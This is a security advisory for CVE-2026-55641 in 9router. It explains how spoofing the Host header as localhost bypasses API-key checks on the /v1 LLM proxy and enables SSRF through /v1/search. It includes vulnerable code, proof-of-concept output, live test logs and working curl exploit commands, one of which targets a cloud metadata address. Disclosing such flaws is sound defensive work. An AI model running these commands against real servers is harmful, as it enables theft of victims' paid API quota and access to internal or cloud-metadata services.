CVE-2026-55641

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

• Open AI relay, the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).

• Unauthenticated SSRF, /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

• Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

• Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address, only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

• cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
• cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0, operators believe it's local-only.
• src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS, remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran [email protected] (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass, confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF, the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider, the normal state, to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay, no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF, attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'